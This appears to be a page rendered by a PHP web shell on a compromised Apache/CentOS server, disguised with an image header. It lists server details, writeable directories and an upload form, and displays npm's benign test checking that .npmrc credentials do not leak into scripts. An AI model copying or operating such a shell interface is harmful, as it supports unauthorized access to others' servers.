����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/legacy-no-auth-leak.js
'use strict'
var test = require('tap').test
var common = require('../common-tap.js')
var basepath = common.pkg
var Tacks = require('tacks')
var File = Tacks.File
var Dir = Tacks.Dir

var fixture = new Tacks(
  Dir({
    README: File(
      'just an npm test\n'
    ),
    'package.json': File({
      name: 'npm-test-no-auth-leak',
      version: '0.0.0',
      scripts: {
        test: 'node test.js'
      }
    }),
    '.npmrc': File(
      'auth=abc',
      'authCrypt=def',
      'password=xyz',
      '//registry.npmjs.org/:_authToken=nopenope'
    ),
    'test.js': File(
      'var authTokenKeys = Object.keys(process.env)\n' +
      '  .filter(function (key) { return /authToken/.test(key) })\n' +
      'console.log(JSON.stringify({\n' +
      '  password: process.env.npm_config__password || null,\n' +
      '  auth: process.env.npm_config__auth || null,\n' +
      '  authCrypt: process.env.npm_config__authCrypt || null ,\n' +
      '  authToken: authTokenKeys && process.env[authTokenKeys[0]] || null\n' +
      '}))'
    )
  })
)

test('setup', function (t) {
  setup()
  t.done()
})

test('no-auth-leak', function (t) {
  common.npm(['test'], {cwd: basepath}, function (err, code, stdout, stderr) {
    if (err) throw err
    t.is(code, 0, 'test ran ok')
    if (stderr) console.log(stderr)
    var matchResult = /^[^{]*(\{(?:.|\n)*\})[^}]*$/
    t.like(stdout, matchResult, 'got results with a JSON chunk in them')
    var stripped = stdout.replace(matchResult, '$1')
    var result = JSON.parse(stripped)
    t.is(result.password, null, 'password')
    t.is(result.auth, null, 'auth')
    t.is(result.authCrypt, null, 'authCrypt')
    t.is(result.authToken, null, 'authToken')
    t.end()
  })
})

test('cleanup', function (t) {
  cleanup()
  t.done()
})

function setup () {
  cleanup()
  fixture.create(basepath)
}

function cleanup () {
  fixture.remove(basepath)
}

ZeroDay Forums Mini